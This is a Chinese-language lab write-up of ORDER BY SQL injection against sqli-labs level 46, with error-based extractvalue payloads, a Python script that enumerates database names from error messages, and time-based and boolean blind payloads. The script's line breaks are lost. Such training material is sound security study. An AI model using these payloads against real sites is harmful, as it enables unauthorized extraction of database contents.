关于order by的sql注入实验

实验描述

本实验基于sqli-lab的第46关进行测试

本关的sql 语句为$sql = "SELECT * FROM users ORDER BY $id"

利用sort进行sql注入，我们可以利用报错注入，延时注入来爆出数据

1.报错注入

1.手工测试

爆出数据库

?sort=(extractvalue(1, concat(0x7e, (select schema_name from information_schema.schemata limit 1,1))))

爆出数据库中的表

?sort=(extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1))))

 爆出表中的列

?sort=(extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1))))

爆出列值

?sort=(extractvalue(1,concat(0x7e,(select username from users where id=1))))

2.代码实现

import requests
import re# 目标URL (根据实际环境修改)
target_url = "http://172.25.254.145/sqli-labs-php7-master/Less-46/"def extract_database_name():database_names = []index = 0while True:# 构造注入Payloadpayload = {"sort": f"(extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit {index},1))))"}try:# 发送GET请求response = requests.get(target_url, params=payload, timeout=10)response.raise_for_status()# 正则匹配错误信息中的数据库名error_pattern = r"XPATH syntax error: '~([^']+)"match = re.search(error_pattern, response.text)if match:db_name = match.group(1)database_names.append(db_name)print(f"成功提取数据库名: {db_name}")index += 1else:if index == 0:print("找到数据库名，可能漏洞不存在或错误信息被隐藏")else:print("已提取所有数据库名")breakexcept requests.exceptions.Timeout:print(f"[-] 请求超时，索引为 {index}，继续尝试...")except requests.exceptions.HTTPError as http_err:print(f"[-] HTTP请求错误，索引为 {index}: {http_err}")except requests.exceptions.RequestException as e:print(f"[-] 请求失败，索引为 {index}: {e}")return database_namesif __name__ == "__main__":all_database_names = extract_database_name()

结果

 同理，修改sql注入语句，即可爆出所有的数据信息

2.盲注

1.时间盲注

错误按照username执行排序，否则结果正确

正确结果如下

错误结果如下

判断当前数据库的名称 

?sort=if((substr(database(),1,1)='s'),(select 1 from (select sleep(2)) as b),username)

判断第一个数据库的名称

?sort=if((substr((select schema_name from information_schema.schemata limit 0,1),1,1)='i'),(select 1 from (select sleep(2)) as b),username)

爆出数据库表(emali表)

?sort=if((substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e'),(select 1 from (select sleep(2)) as b),username)

爆出列值(USER)

?sort=if((substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='U'),(select 1 from (select sleep(2)) as b),username)

 根据上述sql语句可以获得数据库的信息

2.布尔盲注

如果正确按照username排序，不正确按照password排序

?sort=if((substr((select user()),1,1)='r'),username,password)